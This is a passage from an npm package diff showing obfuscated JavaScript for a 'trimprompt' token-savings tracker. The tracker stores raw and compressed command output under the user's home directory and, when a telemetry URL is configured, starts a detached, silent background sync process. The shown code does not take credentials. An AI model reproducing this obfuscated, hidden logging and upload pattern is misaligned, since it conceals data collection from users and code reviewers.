Date(_0x10de79[_0x3154cf(0x19f)]);_0x29634c>=_0x2770f0?_0x468230[_0x3154cf(0x17d)](_0x10de79):_0x3c84b0[_0x3154cf(0x17d)](_0x10de79);}if(_0x3c84b0[_0x3154cf(0x17b)]>0x0){const _0xcc69ea=path[_0x3154cf(0x192)](baseDir,_0x3154cf(0x15c));for(const _0x21745b of _0x3c84b0){const _0x3ae96a=path[_0x3154cf(0x192)](_0xcc69ea,_0x21745b['id']+'.raw.txt'),_0x53e66a=path['join'](_0xcc69ea,_0x21745b['id']+_0x3154cf(0x193));try{if(fs['existsSync'](_0x3ae96a))fs[_0x3154cf(0x19c)](_0x3ae96a);if(fs[_0x3154cf(0x170)](_0x53e66a))fs[_0x3154cf(0x19c)](_0x53e66a);}catch{}}fs[_0x3154cf(0x152)](statsPath,JSON['stringify'](_0x468230,null,0x2),'utf8');}}catch{}}runSync()[a0_0x354d32(0x189)](()=>{});
|
package/tracker.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const a0_0x22692a=a0_0x432c;function a0_0x432c(_0xe5c84f,_0x2f6939){_0xe5c84f=_0xe5c84f-0x1eb;const _0xae0583=a0_0xae05();let _0x432c03=_0xae0583[_0xe5c84f];return _0x432c03;}(function(_0x2198a0,_0x46e73d){const _0x6d51af=a0_0x432c,_0x4f2a91=_0x2198a0();while(!![]){try{const _0x3dd0a8=parseInt(_0x6d51af(0x206))/0x1+-parseInt(_0x6d51af(0x1ee))/0x2+-parseInt(_0x6d51af(0x1fb))/0x3*(parseInt(_0x6d51af(0x22c))/0x4)+-parseInt(_0x6d51af(0x224))/0x5*(parseInt(_0x6d51af(0x23c))/0x6)+-parseInt(_0x6d51af(0x22a))/0x7+-parseInt(_0x6d51af(0x20e))/0x8+parseInt(_0x6d51af(0x231))/0x9*(parseInt(_0x6d51af(0x22e))/0xa);if(_0x3dd0a8===_0x46e73d)break;else _0x4f2a91['push'](_0x4f2a91['shift']());}catch(_0x569ed5){_0x4f2a91['push'](_0x4f2a91['shift']());}}}(a0_0xae05,0xda1e4));function a0_0xae05(){const _0x2d331c=['writeFileSync','PRICING','224307GPQmnI','toFixed','gemini-3-1-pro','writable','GPT-5.5','get','Claude\x203.5\x20Sonnet','split','__importStar','Claude\x20Haiku\x204.5','max','1164918pEfuXu','stringify','GPT-5.4\x20Mini','GPT-5.4\x20Nano','tracker','GPT-4o\x20Mini','unknown','logsDir','Gemini\x203.1\x20Pro','init','getLogs','push','.raw.txt','getConfig','config.json','input_price_1m','3251526gQNQHI','OpenAI\x20o3-mini','claude-opus-4-8','.trimprompt','Claude\x20Opus\x204.8','trim','ceil','config','saveLogs','default','existsSync','toISOString','prototype','45165JfIVzN','model_used','__esModule','Claude\x20Opus\x204.1\x20(deprecated)','call','saveConfig','statsPath','Gemini\x203.5\x20Live\x20Translate','Tracker','GPT-5.4','baseDir','344702XgsRJv','auto','1.0','parse','GPT-4.1\x20Nano','ignore','length','child_process','5282208Tfarby','getStatsSummary','default_model','Claude\x20Opus\x204.7','join','readFileSync','defineProperty','Claude\x20Haiku\x203.5','logs','logExecution','mkdirSync','setConfig','path','homedir','create','Claude\x20Fable\x205','GPT-4.1\x20Mini','GPT-4o','triggerBackgroundSync','estimated_raw_tokens','OpenAI\x20o1-mini','utf8','35uQDjsg','spawn','hasOwnProperty','claude-3-5-sonnet','configPath','Claude\x20Sonnet\x204.6','1913408qtPLvm','sync.js','356SwmSXv','__createBinding','2330SOkLLR'];a0_0xae05=function(){return _0x2d331c;};return a0_0xae05();}var __createBinding=this&&this[a0_0x22692a(0x22d)]||(Object[a0_0x22692a(0x21c)]?function(_0x415eaf,_0x31d9a3,_0x351a4d,_0x350f23){const _0x1e458c=a0_0x22692a;if(_0x350f23===undefined)_0x350f23=_0x351a4d;var _0xd4b441=Object['getOwnPropertyDescriptor'](_0x31d9a3,_0x351a4d);(!_0xd4b441||(_0x1e458c(0x236)in _0xd4b441?!_0x31d9a3['__esModule']:_0xd4b441[_0x1e458c(0x234)]||_0xd4b441['configurable']))&&(_0xd4b441={'enumerable':!![],'get':function(){return _0x31d9a3[_0x351a4d];}}),Object[_0x1e458c(0x214)](_0x415eaf,_0x350f23,_0xd4b441);}:function(_0x2f66aa,_0x395bdf,_0x6985e,_0x136e14){if(_0x136e14===undefined)_0x136e14=_0x6985e;_0x2f66aa[_0x136e14]=_0x395bdf[_0x6985e];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object['create']?function(_0x4b552a,_0x526b51){const _0x593fe3=a0_0x22692a;Object[_0x593fe3(0x214)](_0x4b552a,_0x593fe3(0x1f7),{'enumerable':!![],'value':_0x526b51});}:function(_0x3a22ac,_0x2fc5cf){const _0x58d2d3=a0_0x22692a;_0x3a22ac[_0x58d2d3(0x1f7)]=_0x2fc5cf;}),__importStar=this&&this[a0_0x22692a(0x239)]||(function(){var _0x43ea31=function(_0x5f01a9){return _0x43ea31=Object['getOwnPropertyNames']||function(_0x1bf22a){const _0x436687=a0_0x432c;var _0x141bb8=[];for(var _0x1a638c in _0x1bf22a)if(Object[_0x436687(0x1fa)][_0x436687(0x226)][_0x436687(0x1ff)](_0x1bf22a,_0x1a638c))_0x141bb8[_0x141bb8[_0x436687(0x20c)]]=_0x1a638c;return _0x141bb8;},_0x43ea31(_0x5f01a9);};return function(_0xa0c1fe){const _0x259e6c=a0_0x432c;if(_0xa0c1fe&&_0xa0c1fe[_0x259e6c(0x1fd)])return _0xa0c1fe;var _0x567df6={};if(_0xa0c1fe!=null){for(var _0x3fab42=_0x43ea31(_0xa0c1fe),_0x17dc00=0x0;_0x17dc00<_0x3fab42[_0x259e6c(0x20c)];_0x17dc00++)if(_0x3fab42[_0x17dc00]!==_0x259e6c(0x1f7))__createBinding(_0x567df6,_0xa0c1fe,_0x3fab42[_0x17dc00]);}return __setModuleDefault(_0x567df6,_0xa0c1fe),_0x567df6;};}());Object[a0_0x22692a(0x214)](exports,a0_0x22692a(0x1fd),{'value':!![]}),exports[a0_0x22692a(0x240)]=exports[a0_0x22692a(0x203)]=exports[a0_0x22692a(0x230)]=void 0x0;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x22692a(0x21a))),os=__importStar(require('os')),child_process_1=require(a0_0x22692a(0x20d));exports[a0_0x22692a(0x230)]={'claude-fable-5':{'name':a0_0x22692a(0x21d),'input_price_1m':0xa},'claude-mythos-5':{'name':'Claude\x20Mythos\x205','input_price_1m':0xa},'claude-opus-4-8':{'name':a0_0x22692a(0x1f2),'input_price_1m':0x5},'claude-opus-4-7':{'name':a0_0x22692a(0x211),'input_price_1m':0x5},'claude-opus-4-5':{'name':'Claude\x20Opus\x204.5','input_price_1m':0x5},'claude-opus-4-1':{'name':a0_0x22692a(0x1fe),'input_price_1m':0xf},'claude-sonnet-4-6':{'name':a0_0x22692a(0x229),'input_price_1m':0x3},'claude-sonnet-4-5':{'name':'Claude\x20Sonnet\x204.5','input_price_1m':0x3},'claude-3-5-sonnet':{'name':a0_0x22692a(0x237),'input_price_1m':0x3},'claude-haiku-4-5':{'name':a0_0x22692a(0x23a),'input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0x22692a(0x215),'input_price_1m':0.8},'gpt-5-5':{'name':a0_0x22692a(0x235),'input_price_1m':0x5},'gpt-5-4':{'name':a0_0x22692a(0x204),'input_price_1m':2.5},'gpt-4o':{'name':a0_0x22692a(0x21f),'input_price_1m':2.5},'gpt-5-4-mini':{'name':a0_0x22692a(0x23e),'input_price_1m':0.75},'gpt-5-4-nano':{'name':a0_0x22692a(0x23f),'input_price_1m':0.2},'gpt-4-1-mini':{'name':a0_0x22692a(0x21e),'input_price_1m':0.4},'gpt-4-1-nano':{'name':a0_0x22692a(0x20a),'input_price_1m':0.1},'gpt-4o-mini':{'name':a0_0x22692a(0x241),'input_price_1m':0.15},'o1':{'name':'OpenAI\x20o1','input_price_1m':0xf},'o1-mini':{'name':a0_0x22692a(0x222),'input_price_1m':0x3},'o3-mini':{'name':a0_0x22692a(0x1ef),'input_price_1m':1.1},'cursor-small':{'name':'Cursor\x20Small','input_price_1m':0.1},'gemini-3-1-pro':{'name':a0_0x22692a(0x244),'input_price_1m':0x2},'gemini-3-5-flash':{'name':'Gemini\x203.5\x20Flash','input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':'Gemini\x203.1\x20Flash-Lite','input_price_1m':0.45},'gemini-3-5-live-translate':{'name':a0_0x22692a(0x202),'input_price_1m':3.5}};class Tracker{[a0_0x22692a(0x205)];[a0_0x22692a(0x228)];[a0_0x22692a(0x201)];['logsDir'];['config'];constructor(){const _0x12b343=a0_0x22692a;this['baseDir']=path[_0x12b343(0x212)](os[_0x12b343(0x21b)](),_0x12b343(0x1f1)),this[_0x12b343(0x228)]=path[_0x12b343(0x212)](this[_0x12b343(0x205)],_0x12b343(0x1ec)),this['statsPath']=path[_0x12b343(0x212)](this[_0x12b343(0x205)],'stats.json'),this[_0x12b343(0x243)]=path[_0x12b343(0x212)](this[_0x12b343(0x205)],_0x12b343(0x216)),this['init']();}[a0_0x22692a(0x245)](){const _0x2a0d11=a0_0x22692a;!fs['existsSync'](this[_0x2a0d11(0x205)])&&fs[_0x2a0d11(0x218)](this[_0x2a0d11(0x205)],{'recursive':!![]});!fs[_0x2a0d11(0x1f8)](this['logsDir'])&&fs[_0x2a0d11(0x218)](this['logsDir'],{'recursive':!![]});const _0x487204={'version':_0x2a0d11(0x208),'telemetry_url':process.env.TRIMPROMPT_TELEMETRY_URL||'','max_output_tokens':0x1388,'redaction_enabled':!![],'default_model':_0x2a0d11(0x1f0)};if(fs[_0x2a0d11(0x1f8)](this['configPath']))try{const _0x9d9385=fs[_0x2a0d11(0x213)](this[_0x2a0d11(0x228)],_0x2a0d11(0x223));this['config']={..._0x487204,...JSON[_0x2a0d11(0x209)](_0x9d9385)};}catch(_0x464e66){this[_0x2a0d11(0x1f5)]=_0x487204;}else this[_0x2a0d11(0x1f5)]=_0x487204,this[_0x2a0d11(0x200)]();!fs[_0x2a0d11(0x1f8)](this['statsPath'])&&fs['writeFileSync'](this[_0x2a0d11(0x201)],JSON[_0x2a0d11(0x23d)]([]),_0x2a0d11(0x223));}[a0_0x22692a(0x1eb)](){const _0x51ef7e=a0_0x22692a;return process.env.TRIMPROMPT_TELEMETRY_URL&&(this[_0x51ef7e(0x1f5)]['telemetry_url']=process.env.TRIMPROMPT_TELEMETRY_URL),this[_0x51ef7e(0x1f5)];}[a0_0x22692a(0x219)](_0x128220,_0x2de07f){const _0x20d6fa=a0_0x22692a;this['config'][_0x128220]=_0x2de07f,this[_0x20d6fa(0x200)]();}['saveConfig'](){const _0x2ff306=a0_0x22692a;fs['writeFileSync'](this[_0x2ff306(0x228)],JSON[_0x2ff306(0x23d)](this['config'],null,0x2),'utf8');}[a0_0x22692a(0x246)](){const _0x5880d0=a0_0x22692a;try{if(!fs[_0x5880d0(0x1f8)](this[_0x5880d0(0x201)]))return[];const _0x2861fc=fs[_0x5880d0(0x213)](this['statsPath'],_0x5880d0(0x223));return JSON['parse'](_0x2861fc);}catch{return[];}}[a0_0x22692a(0x1f6)](_0x21fd94){const _0x5526e0=a0_0x22692a;fs[_0x5526e0(0x22f)](this[_0x5526e0(0x201)],JSON['stringify'](_0x21fd94,null,0x2),'utf8');}[a0_0x22692a(0x217)](_0x3aa5,_0x1ae97f,_0x6dc6c4,_0x3b51bb){const _0x1a0762=a0_0x22692a,_0x18285e=this['getLogs'](),_0x3fe005=_0x1ae97f[_0x1a0762(0x20c)],_0x134dc8=_0x6dc6c4[_0x1a0762(0x20c)],_0x34e688=Math[_0x1a0762(0x1f4)](_0x3fe005/0x4),_0x11e0d8=Math['ceil'](_0x134dc8/0x4),_0x71b4df=Math[_0x1a0762(0x23b)](0x0,_0x34e688-_0x11e0d8);let _0x3e8749=_0x1a0762(0x227);if(process.env.TRIMPROMPT_MODEL&&exports[_0x1a0762(0x230)][process.env.TRIMPROMPT_MODEL])_0x3e8749=process.env.TRIMPROMPT_MODEL;else{if(process.env.CLAUDECODE==='1'||process.env.CLAUDE_CODE==='1')_0x3e8749=_0x1a0762(0x227);else{if(process.env.CURSOR_VERSION)_0x3e8749=_0x1a0762(0x227);else{if(process.env.ANTIGRAVITY_AGENT==='1')_0x3e8749=_0x1a0762(0x233);else{const _0x5229f8=this[_0x1a0762(0x1eb)]()[_0x1a0762(0x210)];_0x5229f8&&exports[_0x1a0762(0x230)][_0x5229f8]&&(_0x3e8749=_0x5229f8);}}}}const _0x1dd74b=Math['random']()['toString'](0x24)['substring'](0x2,0xb);try{fs[_0x1a0762(0x22f)](path[_0x1a0762(0x212)](this[_0x1a0762(0x243)],_0x1dd74b+_0x1a0762(0x248)),_0x1ae97f,_0x1a0762(0x223)),fs[_0x1a0762(0x22f)](path['join'](this[_0x1a0762(0x243)],_0x1dd74b+'.comp.txt'),_0x6dc6c4,_0x1a0762(0x223));}catch{}const _0x500eda={'id':_0x1dd74b,'timestamp':new Date()[_0x1a0762(0x1f9)](),'command':_0x3aa5[_0x1a0762(0x238)]('\x20')[0x0]||_0x1a0762(0x242),'raw_chars':_0x3fe005,'compressed_chars':_0x134dc8,'estimated_raw_tokens':_0x34e688,'estimated_compressed_tokens':_0x11e0d8,'tokens_saved':_0x71b4df,'model_used':_0x3e8749,'exit_code':_0x3b51bb,'synced':![]};_0x18285e[_0x1a0762(0x247)](_0x500eda),this[_0x1a0762(0x1f6)](_0x18285e);const _0x2d88b3=this[_0x1a0762(0x1eb)]()['telemetry_url'];return _0x2d88b3&&_0x2d88b3[_0x1a0762(0x1f3)]()[_0x1a0762(0x20c)]>0x0&&this[_0x1a0762(0x220)](),_0x500eda;}[a0_0x22692a(0x220)](){const _0x5702d9=a0_0x22692a;try{const _0x65c08e=path['join'](__dirname,_0x5702d9(0x22b));if(fs[_0x5702d9(0x1f8)](_0x65c08e)){const _0x695cc=(0x0,child_process_1[_0x5702d9(0x225)])(process['execPath'],[_0x65c08e],{'detached':!![],'stdio':_0x5702d9(0x20b)});_0x695cc['unref']();}}catch{}}[a0_0x22692a(0x20f)](_0x412998=a0_0x22692a(0x207)){const _0x4f14b8=a0_0x22692a,_0x27b349=this['getLogs']();let _0x38e092=0x0,_0x3ecda6=0x0,_0x1d5000=0x0;for(const _0x118b6e of _0x27b349){_0x38e092+=_0x118b6e[_0x4f14b8(0x221)],_0x3ecda6+=_0x118b6e['estimated_compressed_tokens'],_0x1d5000+=_0x118b6e['tokens_saved'];}let _0x45259d=_0x412998;(!_0x45259d||_0x45259d==='auto'||!exports[_0x4f14b8(0x230)][_0x45259d])&&(_0x27b349[_0x4f14b8(0x20c)]>0x0&&_0x27b349[_0x27b349[_0x4f14b8(0x20c)]-0x1][_0x4f14b8(0x1fc)]?_0x45259d=_0x27b349[_0x27b349[_0x4f14b8(0x20c)]-0x1]['model_used']:_0x45259d=this[_0x4f14b8(0x1eb)]()[_0x4f14b8(0x210)]||_0x4f14b8(0x227));const _0x4be09a=exports[_0x4f14b8(0x230)][_0x45259d]||exports['PRICING'][_0x4f14b8(0x227)],_0x2b9024=_0x1d5000*_0x4be09a[_0x4f14b8(0x1ed)]/0xf4240,_0xfea642=_0x38e092*_0x4be09a[_0x4f14b8(0x1ed)]/0xf4240,_0x23bbff=_0x3ecda6*_0x4be09a[_0x4f14b8(0x1ed)]/0xf4240,_0x4edf2f=_0x38e092>0x0?_0x1d5000/_0x38e092*0x64:0x0;return{'total_raw_tokens':_0x38e092,'total_compressed_tokens':_0x3ecda6,'total_tokens_saved':_0x1d5000,'savings_percentage':parseFloat(_0x4edf2f['toFixed'](0x1)),'money_saved_usd':parseFloat(_0x2b9024['toFixed'](0x4)),'raw_cost_usd':parseFloat(_0xfea642['toFixed'](0x4)),'compressed_cost_usd':parseFloat(_0x23bbff[_0x4f14b8(0x232)](0x4)),'model_name':_0x4be09a['name'],'model_key':_0x45259d};}}exports[a0_0x22692a(0x203)]=Tracker,exports[a0_0x22692a(0x240)]=new Tracker();
|
|
1
|
+
'use strict';const a0_0x1f2fc9=a0_0x32c7;(function(_0x3828c3,_0x2ba2b7){const _0x1b9673=a0_0x32c7,_0x16867c=_0x3828c3();while(!![]){try{const _0x364bac=-parseInt(_0x1b9673(0xcd))/0x1*(parseInt(_0x1b9673(0x98))/0x2)+-parseInt(_0x1b9673(0xb1))/0x3*(parseInt(_0x1b9673(0xc5))/0x4)+-parseInt(_0x1b9673(0xc1))/0x5+-parseInt(_0x1b9673(0x8e))/0x6+-parseInt(_0x1b9673(0xce))/0x7*(parseInt(_0x1b9673(0xad))/0x8)+-parseInt(_0x1b9673(0xcb))/0x9*(parseInt(_0x1b9673(0xb9))/0xa)+parseInt(_0x1b9673(0xd5))/0xb;if(_0x364bac===_0x2ba2b7)break;else _0x16867c['push'](_0x16867c['shift']());}catch(_0x49d9f5){_0x16867c['push'](_0x16867c['shift']());}}}(a0_0x1a8b,0x535ed));function a0_0x32c7(_0x5bc400,_0x2bbfa9){_0x5bc400=_0x5bc400-0x8e;const _0x1a8bb3=a0_0x1a8b();let _0x32c715=_0x1a8bb3[_0x5bc400];return _0x32c715;}var __createBinding=this&&this[a0_0x1f2fc9(0xd8)]||(Object[a0_0x1f2fc9(0xa8)]?function(_0x348db8,_0x1a4f84,_0xf79b63,_0x489cd0){const _0x171270=a0_0x1f2fc9;if(_0x489cd0===undefined)_0x489cd0=_0xf79b63;var _0x4b1f9b=Object[_0x171270(0xd6)](_0x1a4f84,_0xf79b63);(!_0x4b1f9b||(_0x171270(0xd4)in _0x4b1f9b?!_0x1a4f84['__esModule']:_0x4b1f9b['writable']||_0x4b1f9b[_0x171270(0xa5)]))&&(_0x4b1f9b={'enumerable':!![],'get':function(){return _0x1a4f84[_0xf79b63];}}),Object[_0x171270(0xc3)](_0x348db8,_0x489cd0,_0x4b1f9b);}:function(_0x5157f0,_0x2531fb,_0xf0e9f0,_0x1b333b){if(_0x1b333b===undefined)_0x1b333b=_0xf0e9f0;_0x5157f0[_0x1b333b]=_0x2531fb[_0xf0e9f0];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object[a0_0x1f2fc9(0xa8)]?function(_0x510224,_0x53bf3b){const _0x53640b=a0_0x1f2fc9;Object[_0x53640b(0xc3)](_0x510224,_0x53640b(0x96),{'enumerable':!![],'value':_0x53bf3b});}:function(_0x4d3541,_0x1d78bf){_0x4d3541['default']=_0x1d78bf;}),__importStar=this&&this[a0_0x1f2fc9(0xaa)]||(function(){var _0x2efbf2=function(_0x1e1c91){return _0x2efbf2=Object['getOwnPropertyNames']||function(_0x46e465){const _0x45a364=a0_0x32c7;var _0x6d0e5d=[];for(var _0x3296e3 in _0x46e465)if(Object['prototype'][_0x45a364(0xe3)]['call'](_0x46e465,_0x3296e3))_0x6d0e5d[_0x6d0e5d[_0x45a364(0x95)]]=_0x3296e3;return _0x6d0e5d;},_0x2efbf2(_0x1e1c91);};return function(_0x5a4462){const _0x237ec2=a0_0x32c7;if(_0x5a4462&&_0x5a4462[_0x237ec2(0x90)])return _0x5a4462;var _0x10309f={};if(_0x5a4462!=null){for(var _0x2ee1cc=_0x2efbf2(_0x5a4462),_0x3e799b=0x0;_0x3e799b<_0x2ee1cc[_0x237ec2(0x95)];_0x3e799b++)if(_0x2ee1cc[_0x3e799b]!=='default')__createBinding(_0x10309f,_0x5a4462,_0x2ee1cc[_0x3e799b]);}return __setModuleDefault(_0x10309f,_0x5a4462),_0x10309f;};}());Object['defineProperty'](exports,a0_0x1f2fc9(0x90),{'value':!![]}),exports[a0_0x1f2fc9(0xb2)]=exports[a0_0x1f2fc9(0x91)]=exports['PRICING']=void 0x0;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x1f2fc9(0xa9))),os=__importStar(require('os')),child_process_1=require(a0_0x1f2fc9(0xab));function a0_0x1a8b(){const _0x224e2a=['random','3HRRzgF','tracker','auto','.trimprompt','writeFileSync','Claude\x20Sonnet\x204.5','default_model','Gemini\x203.5\x20Live\x20Translate','10JQpmoI','setConfig','Claude\x20Opus\x204.8','Claude\x20Opus\x204.7','PRICING','input_price_1m','telemetry_url','claude-3-5-sonnet','2421830XIasxj','triggerBackgroundSync','defineProperty','GPT-5.4','569084dcXxWa','claude-opus-4-8','getConfig','GPT-4.1\x20Nano','existsSync','logs','2960964SBFHYI','ceil','336419HlfkRi','7buUEMz','Gemini\x203.1\x20Pro','saveConfig','OpenAI\x20o1-mini','toString','Claude\x20Mythos\x205','get','20601449lnRlad','getOwnPropertyDescriptor','init','__createBinding','saveLogs','spawn','utf8','toISOString','tokens_saved','GPT-4o','split','stringify','config','GPT-4o\x20Mini','hasOwnProperty','GPT-5.4\x20Mini','getLogs','logsDir','18510eiGSel','GPT-4.1\x20Mini','__esModule','Tracker','configPath','Claude\x20Haiku\x203.5','mkdirSync','length','default','parse','2RJSHHa','max','toFixed','GPT-5.5','baseDir','OpenAI\x20o3-mini','unknown','getStatsSummary','name','stats.json','join','config.json','estimated_compressed_tokens','configurable','Claude\x20Opus\x204.5','Claude\x20Sonnet\x204.6','create','path','__importStar','child_process','.raw.txt','1889896bSWMGI','statsPath','substring'];a0_0x1a8b=function(){return _0x224e2a;};return a0_0x1a8b();}exports[a0_0x1f2fc9(0xbd)]={'claude-fable-5':{'name':'Claude\x20Fable\x205','input_price_1m':0xa},'claude-mythos-5':{'name':a0_0x1f2fc9(0xd3),'input_price_1m':0xa},'claude-opus-4-8':{'name':a0_0x1f2fc9(0xbb),'input_price_1m':0x5},'claude-opus-4-7':{'name':a0_0x1f2fc9(0xbc),'input_price_1m':0x5},'claude-opus-4-5':{'name':a0_0x1f2fc9(0xa6),'input_price_1m':0x5},'claude-opus-4-1':{'name':'Claude\x20Opus\x204.1\x20(deprecated)','input_price_1m':0xf},'claude-sonnet-4-6':{'name':a0_0x1f2fc9(0xa7),'input_price_1m':0x3},'claude-sonnet-4-5':{'name':a0_0x1f2fc9(0xb6),'input_price_1m':0x3},'claude-3-5-sonnet':{'name':'Claude\x203.5\x20Sonnet','input_price_1m':0x3},'claude-haiku-4-5':{'name':'Claude\x20Haiku\x204.5','input_price_1m':0x1},'claude-haiku-3-5':{'name':a0_0x1f2fc9(0x93),'input_price_1m':0.8},'gpt-5-5':{'name':a0_0x1f2fc9(0x9b),'input_price_1m':0x5},'gpt-5-4':{'name':a0_0x1f2fc9(0xc4),'input_price_1m':2.5},'gpt-4o':{'name':a0_0x1f2fc9(0xde),'input_price_1m':2.5},'gpt-5-4-mini':{'name':a0_0x1f2fc9(0xe4),'input_price_1m':0.75},'gpt-5-4-nano':{'name':'GPT-5.4\x20Nano','input_price_1m':0.2},'gpt-4-1-mini':{'name':a0_0x1f2fc9(0x8f),'input_price_1m':0.4},'gpt-4-1-nano':{'name':a0_0x1f2fc9(0xc8),'input_price_1m':0.1},'gpt-4o-mini':{'name':a0_0x1f2fc9(0xe2),'input_price_1m':0.15},'o1':{'name':'OpenAI\x20o1','input_price_1m':0xf},'o1-mini':{'name':a0_0x1f2fc9(0xd1),'input_price_1m':0x3},'o3-mini':{'name':a0_0x1f2fc9(0x9d),'input_price_1m':1.1},'cursor-small':{'name':'Cursor\x20Small','input_price_1m':0.1},'gemini-3-1-pro':{'name':a0_0x1f2fc9(0xcf),'input_price_1m':0x2},'gemini-3-5-flash':{'name':'Gemini\x203.5\x20Flash','input_price_1m':1.5},'gemini-3-1-flash-lite':{'name':'Gemini\x203.1\x20Flash-Lite','input_price_1m':0.45},'gemini-3-5-live-translate':{'name':a0_0x1f2fc9(0xb8),'input_price_1m':3.5}};class Tracker{[a0_0x1f2fc9(0x9c)];[a0_0x1f2fc9(0x92)];[a0_0x1f2fc9(0xae)];[a0_0x1f2fc9(0xe6)];[a0_0x1f2fc9(0xe1)];constructor(){const _0x106c41=a0_0x1f2fc9;this[_0x106c41(0x9c)]=path[_0x106c41(0xa2)](os['homedir'](),_0x106c41(0xb4)),this['configPath']=path[_0x106c41(0xa2)](this[_0x106c41(0x9c)],_0x106c41(0xa3)),this[_0x106c41(0xae)]=path[_0x106c41(0xa2)](this[_0x106c41(0x9c)],_0x106c41(0xa1)),this['logsDir']=path[_0x106c41(0xa2)](this['baseDir'],_0x106c41(0xca)),this['init']();}[a0_0x1f2fc9(0xd7)](){const _0x37a791=a0_0x1f2fc9;!fs[_0x37a791(0xc9)](this['baseDir'])&&fs[_0x37a791(0x94)](this[_0x37a791(0x9c)],{'recursive':!![]});!fs[_0x37a791(0xc9)](this[_0x37a791(0xe6)])&&fs[_0x37a791(0x94)](this[_0x37a791(0xe6)],{'recursive':!![]});const _0x5d1884={'version':'1.0','telemetry_url':process.env.TRIMPROMPT_TELEMETRY_URL||'','max_output_tokens':0x1388,'redaction_enabled':!![],'default_model':_0x37a791(0xc6)};if(fs[_0x37a791(0xc9)](this['configPath']))try{const _0x250062=fs['readFileSync'](this[_0x37a791(0x92)],_0x37a791(0xdb));this[_0x37a791(0xe1)]={..._0x5d1884,...JSON['parse'](_0x250062)};}catch(_0x3dcca4){this[_0x37a791(0xe1)]=_0x5d1884;}else this[_0x37a791(0xe1)]=_0x5d1884,this[_0x37a791(0xd0)]();!fs['existsSync'](this[_0x37a791(0xae)])&&fs[_0x37a791(0xb5)](this['statsPath'],JSON['stringify']([]),_0x37a791(0xdb));}['getConfig'](){const _0x2de05a=a0_0x1f2fc9;return process.env.TRIMPROMPT_TELEMETRY_URL&&(this[_0x2de05a(0xe1)][_0x2de05a(0xbf)]=process.env.TRIMPROMPT_TELEMETRY_URL),this[_0x2de05a(0xe1)];}[a0_0x1f2fc9(0xba)](_0x1c580e,_0x1f72c1){const _0x38203c=a0_0x1f2fc9;this[_0x38203c(0xe1)][_0x1c580e]=_0x1f72c1,this[_0x38203c(0xd0)]();}[a0_0x1f2fc9(0xd0)](){const _0x49d202=a0_0x1f2fc9;fs[_0x49d202(0xb5)](this[_0x49d202(0x92)],JSON[_0x49d202(0xe0)](this[_0x49d202(0xe1)],null,0x2),_0x49d202(0xdb));}['getLogs'](){const _0x30718c=a0_0x1f2fc9;try{if(!fs['existsSync'](this[_0x30718c(0xae)]))return[];const _0x5d0333=fs['readFileSync'](this[_0x30718c(0xae)],_0x30718c(0xdb));return JSON[_0x30718c(0x97)](_0x5d0333);}catch{return[];}}[a0_0x1f2fc9(0xd9)](_0x4f8e8c){const _0x558f2d=a0_0x1f2fc9;fs['writeFileSync'](this['statsPath'],JSON[_0x558f2d(0xe0)](_0x4f8e8c,null,0x2),_0x558f2d(0xdb));}['logExecution'](_0x48f148,_0xc59864,_0x3da639,_0x25f935){const _0x566157=a0_0x1f2fc9,_0x4042d5=this[_0x566157(0xe5)](),_0x525fc5=_0xc59864[_0x566157(0x95)],_0xb1eccc=_0x3da639[_0x566157(0x95)],_0x4f0eff=Math[_0x566157(0xcc)](_0x525fc5/0x4),_0x16afd1=Math[_0x566157(0xcc)](_0xb1eccc/0x4),_0x23a576=Math[_0x566157(0x99)](0x0,_0x4f0eff-_0x16afd1);let _0x153298=_0x566157(0xc0);if(process.env.TRIMPROMPT_MODEL&&exports[_0x566157(0xbd)][process.env.TRIMPROMPT_MODEL])_0x153298=process.env.TRIMPROMPT_MODEL;else{if(process.env.CLAUDECODE==='1'||process.env.CLAUDE_CODE==='1')_0x153298=_0x566157(0xc0);else{if(process.env.CURSOR_VERSION)_0x153298='claude-3-5-sonnet';else{if(process.env.ANTIGRAVITY_AGENT==='1')_0x153298='gemini-3-1-pro';else{const _0x5623c4=this[_0x566157(0xc7)]()[_0x566157(0xb7)];_0x5623c4&&exports[_0x566157(0xbd)][_0x5623c4]&&(_0x153298=_0x5623c4);}}}}const _0x37d58e=Math[_0x566157(0xb0)]()[_0x566157(0xd2)](0x24)[_0x566157(0xaf)](0x2,0xb);try{fs[_0x566157(0xb5)](path['join'](this['logsDir'],_0x37d58e+_0x566157(0xac)),_0xc59864,_0x566157(0xdb)),fs['writeFileSync'](path[_0x566157(0xa2)](this[_0x566157(0xe6)],_0x37d58e+'.comp.txt'),_0x3da639,_0x566157(0xdb));}catch{}const _0x38efb7={'id':_0x37d58e,'timestamp':new Date()[_0x566157(0xdc)](),'command':_0x48f148[_0x566157(0xdf)]('\x20')[0x0]||_0x566157(0x9e),'raw_chars':_0x525fc5,'compressed_chars':_0xb1eccc,'estimated_raw_tokens':_0x4f0eff,'estimated_compressed_tokens':_0x16afd1,'tokens_saved':_0x23a576,'model_used':_0x153298,'exit_code':_0x25f935,'synced':![]};_0x4042d5['push'](_0x38efb7),this[_0x566157(0xd9)](_0x4042d5);const _0x4785d3=this[_0x566157(0xc7)]()[_0x566157(0xbf)];return _0x4785d3&&_0x4785d3['trim']()[_0x566157(0x95)]>0x0&&this['triggerBackgroundSync'](),_0x38efb7;}[a0_0x1f2fc9(0xc2)](){const _0x2590b1=a0_0x1f2fc9;try{const _0x2ed6ed=path[_0x2590b1(0xa2)](__dirname,'sync.js');if(fs['existsSync'](_0x2ed6ed)){const _0x28ed14=(0x0,child_process_1[_0x2590b1(0xda)])(process['execPath'],[_0x2ed6ed],{'detached':!![],'stdio':'ignore'});_0x28ed14['unref']();}}catch{}}[a0_0x1f2fc9(0x9f)](_0x2ec122=a0_0x1f2fc9(0xb3)){const _0x229c04=a0_0x1f2fc9,_0x1aeb58=this[_0x229c04(0xe5)]();let _0x3b6fde=0x0,_0x4cf0de=0x0,_0x492e56=0x0;for(const _0x286c49 of _0x1aeb58){_0x3b6fde+=_0x286c49['estimated_raw_tokens'],_0x4cf0de+=_0x286c49[_0x229c04(0xa4)],_0x492e56+=_0x286c49[_0x229c04(0xdd)];}let 